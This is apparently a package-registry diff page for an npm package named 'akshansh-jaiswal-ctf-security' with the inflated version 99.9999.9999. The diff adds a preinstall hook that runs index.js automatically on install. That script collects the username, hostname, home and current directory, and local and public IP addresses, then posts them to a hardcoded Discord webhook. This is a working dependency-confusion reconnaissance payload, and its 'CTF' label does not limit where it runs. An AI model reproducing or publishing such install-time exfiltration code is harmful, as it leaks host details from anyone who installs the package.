akshansh-jaiswal-ctf-security 99.9999.9999

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of akshansh-jaiswal-ctf-security might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +40 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+
2
+ const os = require('os');
3
+ const https = require('https');
4
+
5
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv';
6
+
7
+ function sendMessage(message) {
8
+ const payload = JSON.stringify({ content: message });
9
+ const parsedUrl = new URL(discordWebhookUrl);
10
+ const req = https.request({
11
+ hostname: parsedUrl.hostname,
12
+ path: parsedUrl.pathname,
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': Buffer.byteLength(payload)
17
+ }
18
+ });
19
+ req.write(payload);
20
+ req.end();
21
+ }
22
+
23
+ https.get('https://ipinfo.io/ip', (resp) => {
24
+ let data = '';
25
+ resp.on('data', (chunk) => { data += chunk; });
26
+ resp.on('end', () => {
27
+ const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
28
+ Current Directory: ${__dirname}
29
+ Home Directory: ${os.homedir()}
30
+ Hostname: ${os.hostname()}
31
+ Username: ${os.userInfo().username}
32
+ Local IP Address: ${(os.networkInterfaces()['eth0'] || [{ address: 'N/A' }])[0].address}
33
+ Public IP Address: ${data.trim()}
34
+ Dns-Server: ${os.networkInterfaces()['eth0'] ? 'Available' : 'N/A'}`;
35
+
36
+ sendMessage(baseMessage);
37
+ });
38
+ }).on("error", (err) => {
39
+ sendMessage(`Error fetching public IP: ${err.message}`);
40
+ });
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "akshansh-jaiswal-ctf-security",
3
+ "version": "99.9999.9999",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ }
14
+ }